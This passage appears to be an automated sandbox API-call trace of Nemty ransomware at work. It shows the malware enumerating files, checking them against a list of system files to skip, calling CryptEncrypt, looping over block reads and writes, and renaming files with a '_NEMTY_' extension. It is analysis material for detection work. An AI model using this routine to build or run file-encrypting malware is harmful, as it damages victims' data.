lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.440] CloseHandle (hObject=0xffffffff) returned 0 [0142.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0142.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0142.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0142.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png._nemty_kgobjgd_")) returned 0 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.441] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b0c6e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b0c6e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2=".") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="..") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="...") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="windows") returned -1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="$RECYCLE.BIN") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="rsa") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="NTDETECT.COM") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="ntldr") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="MSDOS.SYS") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="IO.SYS") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="boot.ini") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="boot.ini") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="ntuser.dat") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="desktop.ini") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="CONFIG.SYS") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="RECYCLER") returned 1 [0142.441] lstrcmpiW (lpString1="timer_over.png", lpString2="BOOTSECT.BAK") returned 1 [0142.442] lstrcmpiW (lpString1="timer_over.png", lpString2="bootmgr") returned 1 [0142.442] lstrcmpiW (lpString1="timer_over.png", lpString2="programdata") returned 1 [0142.442] lstrcmpiW (lpString1="timer_over.png", lpString2="appdata") returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_over.png", lpUsedDefaultChar=0x0) returned 14 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_over.png", lpUsedDefaultChar=0x0) returned 14 [0142.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_over.png", lpUsedDefaultChar=0x0) returned 14 [0142.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_over.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_over.png", lpUsedDefaultChar=0x0) returned 14 [0142.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0142.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0142.442] Sleep (dwMilliseconds=0x5) [0142.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x88ed130, dwHighDateTime=0x1d561e8)) [0142.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x88ed130, dwHighDateTime=0x1d561e8)) [0142.457] GetLastError () returned 0x5 [0142.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.457] GetLastError () returned 0x5 [0142.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0142.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0142.457] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0142.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0142.457] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="594zi0ExCWA5Dzm2JB07LQxz9Zjo8jIpD/NaRJSMhx78nUfWg7zbqzXEvFdf/3QQ\r\niPGZYWRo36qKNqKb4qx8nVVU3eA8fHrmHdxgxYHKwS74Hb/mgqPOZJbHmT3WwiUS\r\nkIjBpBO97fvw+xzW1dSfrMCIzoyIUKqNOKafYxiuAcwOojcA4PjdoMK7qIin04p0\r\nQJoEoak0IW9ZBcf1+0htJlzijSDb56LIk8gIXwFy6lNnSGIOvPUSRUEIK/hM4pSB\r\nij8coU3qShzAQpQqYEPylgTPUvaEOvtQoKpYVZEkkBFt13HRyhlVenMO0q7UOf8d\r\nlrT4DxiRp0m1nG81QmGmvA==\r\n", pcchString=0x653e91c) returned 1 [0142.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0142.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.458] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.458] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0142.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 